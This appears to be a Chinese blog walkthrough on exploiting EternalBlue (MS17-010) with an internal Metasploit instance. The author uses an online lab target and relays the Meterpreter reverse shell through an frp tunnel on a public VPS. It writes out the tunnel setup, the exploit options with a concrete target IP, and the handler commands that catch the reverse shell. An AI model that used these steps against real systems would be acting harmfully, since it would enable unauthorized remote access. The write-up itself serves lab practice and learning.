看我用内网MSF打公网永恒之蓝
看我用内网MSF打公网永恒之蓝
存在疑问,网查没有,技术一般,重在思路,不喜勿喷
正常用msf打永恒之蓝漏洞的过程复现在网上一翻一大堆,不过基本上都是内网的两个虚拟机互打,然后之前我就冒出来个稀奇古怪的想法,假如这台带有永恒之蓝漏洞的服务器在公网上呢,我又不想在公网上装msf,怎么才能用内网msf碰到外网的漏洞呢?下面是我利用内网msf打公网的永恒之蓝的过程。
1. frp搭建
首先需要frp搭建隧道,将本地的4444端口,映射到公网VPS的30001端口上,VPS和本地分别下载frp按照如下配置
本地设置frpc.ini
-
server_port
是公网为了和内网建立frp隧道的端口 -
remote_port
在这里代表要将本地4444端口映射到公网的30001端口上 -
local_ip
注意要写内网IP不要写本地回环地址(127.0.0.1)
VPS设置frps.ini
frps.ini文件配置相对简单些,token对应上就行
然后本地和VPS分别启动frp
#本地
./frpc -c ./frpc.ini
#VPS
./frps -c ./frps.ini
开启后我们访问公网的30001端口就会直接穿到本地的4444上,例如我在本地用python开个http服务
访问公网的30001
至此frp配置完成
2. 攻击公网永恒之蓝
首先用在线靶场开个靶机
之后打开msf并加载msf17-010
攻击载荷
注意这个载荷默认的payload是windows/x64/meterpreter/reverse_tcp
这个后续要用到,然后设置配置项
options
set rhosts 52.81.73.86
set lhosts VPS地址
set lport 30001
这个时候先不要run,这里执行攻击是可以不过我们设置的回连地址是VPS地址,端口是frp的那个端口,也就是代表它会穿到内网的4444端口来,但是当我们run时除了执行攻击载荷外,它还有一步就是根据设置的回连的地址和端口监听,也就是在本地监听公网所以自然监听不到,但是如果我们设置监听本地地址确实能监听到,但是回弹shell却弹不回来,这里就很难搞
这时候我们需要在启动一个msf,并且根据上面的默认payload设置本地监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
run
监听跑起来后再执行ms17-010攻击载荷,结果如下
左边的攻击载荷反弹不回来session在预料之中,右边的监听成功接收到session
技术点没多难,只不过把我自己这个思路记录一下